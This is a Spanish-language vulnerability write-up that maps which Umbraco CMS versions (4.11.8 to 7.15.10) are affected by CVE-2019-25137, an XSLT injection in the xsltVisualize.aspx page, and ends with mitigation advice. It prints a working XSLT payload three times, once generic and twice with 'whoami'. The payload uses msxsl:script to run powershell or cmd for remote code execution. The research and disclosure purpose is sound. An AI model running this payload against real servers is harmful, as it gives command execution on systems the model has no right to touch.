
Un análisis que investiga el alcance completo de CVE-2019-25137
CVE-2019-25137 es una vulnerabilidad de inyección XSLT en Umbraco CMS. La vulnerabilidad está presente en la página web Visualizer XSLT (Transformaciones de Lenguaje de Hojas de Estilo Extensibles). La URI vulnerable para esta página web es /umbraco/developer/Xslt/xsltVisualize.aspx.
Una explotación exitosa del Visualizer XSLT puede resultar en la ejecución de código C# en el sistema objetivo. Para explotar la vulnerabilidad, un usuario requiere credenciales legítimas de administrador del Umbraco CMS.
La prueba de concepto para CVE-2019-25137 utiliza el elemento msxsl:script. Este elemento permite que se utilicen lenguajes de programación adicionales en las transformaciones XSLT, como C#.
<?xml version="1.0"?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:msxsl="urn:schemas-microsoft-com:xslt"
xmlns:csharp_user="http://csharp.mycompany.com/mynamespace">
<msxsl:script language="C#" implements-prefix="csharp_user">public string xml() { string cmd = "<additional arguments>"; System.Diagnostics.Process proc = new System.Diagnostics.Process(); proc.StartInfo.FileName = "<Can be powershell or cmd>"; proc.StartInfo.Arguments = cmd; proc.StartInfo.UseShellExecute = false; proc.StartInfo.RedirectStandardOutput = true; proc.Start(); string output = proc.StandardOutput.ReadToEnd(); return output; } </msxsl:script>
<xsl:template match="/">
<xsl:value-of select="csharp_user:xml()"/>
</xsl:template>
</xsl:stylesheet>
La carga útil XSLT intentará ejecutar el siguiente código C#.
string cmd = "<additional arguments>";
System.Diagnostics.Process proc = new System.Diagnostics.Process();
proc.StartInfo.FileName = "<Can be powershell or cmd>";
proc.StartInfo.Arguments = cmd;
proc.StartInfo.UseShellExecute = false;
proc.StartInfo.RedirectStandardOutput = true;
proc.Start();
string output = proc.StandardOutput.ReadToEnd();
return output;
El código C# se desglosa en las siguientes declaraciones: todas las definiciones están documentadas en el sitio web de Microsoft.
| Function | Overview |
|---|---|
| System.Diagnostics.Process proc | Proporciona acceso a procesos locales y remotos y permite al usuario iniciar y detener procesos locales del sistema; este se denomina "proc". |
| proc.StartInfo.FileName | Define el nombre de la aplicación que el usuario desea iniciar (powershell o cmd). |
| proc.StartInfo.Arguments | Define cualquier variable adicional que pueda necesitar FileName. |
| proc.StartInfo.UseShellExecute | Un valor que indica si se debe usar el shell del sistema operativo para iniciar el proceso; se establece como false porque se usa powershell o cmd. |
| proc.StartInfo.RedirectStandardOutput | Un valor que indica si la salida de una aplicación se escribe en la secuencia StandardOutput; se establece como true. |
| proc.Start() | Inicia el recurso de proceso "proc" y lo asocia con un componente Process. |
| string output = proc.StandardOutput.ReadToEnd() | Realiza operaciones de lectura síncronas en "proc" y lo redirige a la variable "output". |
Dado que Umbraco es un CMS de código abierto, obtuve diferentes versiones de instalación desde su sitio web para determinar qué versiones, tanto antiguas como nuevas, pueden tener aún presente xsltVisualize.aspx.

El análisis indica que el archivo xsltVisualize.aspx existe en Umbraco CMS desde la versión 4.11.8 hasta la versión 7.15.10. Este archivo y toda la carpeta Development ya no están presentes en las versiones 8.0.0 y superiores.

Para demostrar que la versión más antigua también es vulnerable a CVE-2019-25137, configuré una instancia de prueba de Umbraco 4.11.8.

Al comparar el xsltVisualize.aspx de Umbraco CMS 4.11.8 con el de Umbraco CMS versión 7.12.4 se demuestra que, aunque hay una pequeña cantidad de diferencias, la funcionalidad de las páginas web es la misma.

Para probar el exploit, el usuario debe enviar la carga útil dentro del campo xsltSelection.

Usando la carga útil proporcionada anteriormente, pude lograr la ejecución remota de código, lo que indica que esta versión también es vulnerable. La imagen de abajo demuestra la ejecución de whoami.
<?xml version="1.0"?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:msxsl="urn:schemas-microsoft-com:xslt"
xmlns:csharp_user="http://csharp.mycompany.com/mynamespace">
<msxsl:script language="C#" implements-prefix="csharp_user">public string xml() { string cmd = "whoami"; System.Diagnostics.Process proc = new System.Diagnostics.Process(); proc.StartInfo.FileName = "powershell"; proc.StartInfo.Arguments = cmd; proc.StartInfo.UseShellExecute = false; proc.StartInfo.RedirectStandardOutput = true; proc.Start(); string output = proc.StandardOutput.ReadToEnd(); return output; } </msxsl:script>
<xsl:template match="/">
<xsl:value-of select="csharp_user:xml()"/>
</xsl:template>
</xsl:stylesheet>

Para demostrar que la versión más reciente de Umbraco con xsltVisualize.aspx también es vulnerable, configuré una instancia de prueba de Umbraco 7.15.10.

Al comparar el xsltVisualize.aspx de Umbraco CMS 7.15.10 con el de Umbraco CMS versión 7.12.4 se demuestra que son iguales.

Navegar a la URI /umbraco/developer/Xslt/xsltVisualize.aspx indica que el archivo está efectivamente presente.

Usando la misma carga útil proporcionada anteriormente, pude lograr la ejecución remota de código nuevamente, lo que indica que esta versión también es vulnerable. La imagen de abajo demuestra la ejecución de whoami.
<?xml version="1.0"?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:msxsl="urn:schemas-microsoft-com:xslt"
xmlns:csharp_user="http://csharp.mycompany.com/mynamespace">
<msxsl:script language="C#" implements-prefix="csharp_user">public string xml() { string cmd = "whoami"; System.Diagnostics.Process proc = new System.Diagnostics.Process(); proc.StartInfo.FileName = "powershell"; proc.StartInfo.Arguments = cmd; proc.StartInfo.UseShellExecute = false; proc.StartInfo.RedirectStandardOutput = true; proc.Start(); string output = proc.StandardOutput.ReadToEnd(); return output; } </msxsl:script>
<xsl:template match="/">
<xsl:value-of select="csharp_user:xml()"/>
</xsl:template>
</xsl:stylesheet>

Estos ejemplos demuestran que CVE-2019-25137 está presente en versiones de Umbraco distintas de 7.12.4. Todas las versiones entre 4.11.8 y 7.15.10 contienen la página web vulnerable y, por lo tanto, deberían incluirse en la actualización del CVE. CVE-2019-25137 se puede mitigar eliminando el acceso al archivo xsltVisualize.aspx o actualizando a la versión más reciente de Umbraco.
Fecha de lanzamiento de Umbraco - https://our.umbraco.com/download/releases/774
Versiones de Umbraco - https://our.umbraco.com/download/releases
Definición de XSLT - https://en.wikipedia.org/wiki/XSLT
Carga útil utilizada - https://github.com/noraj/Umbraco-RCE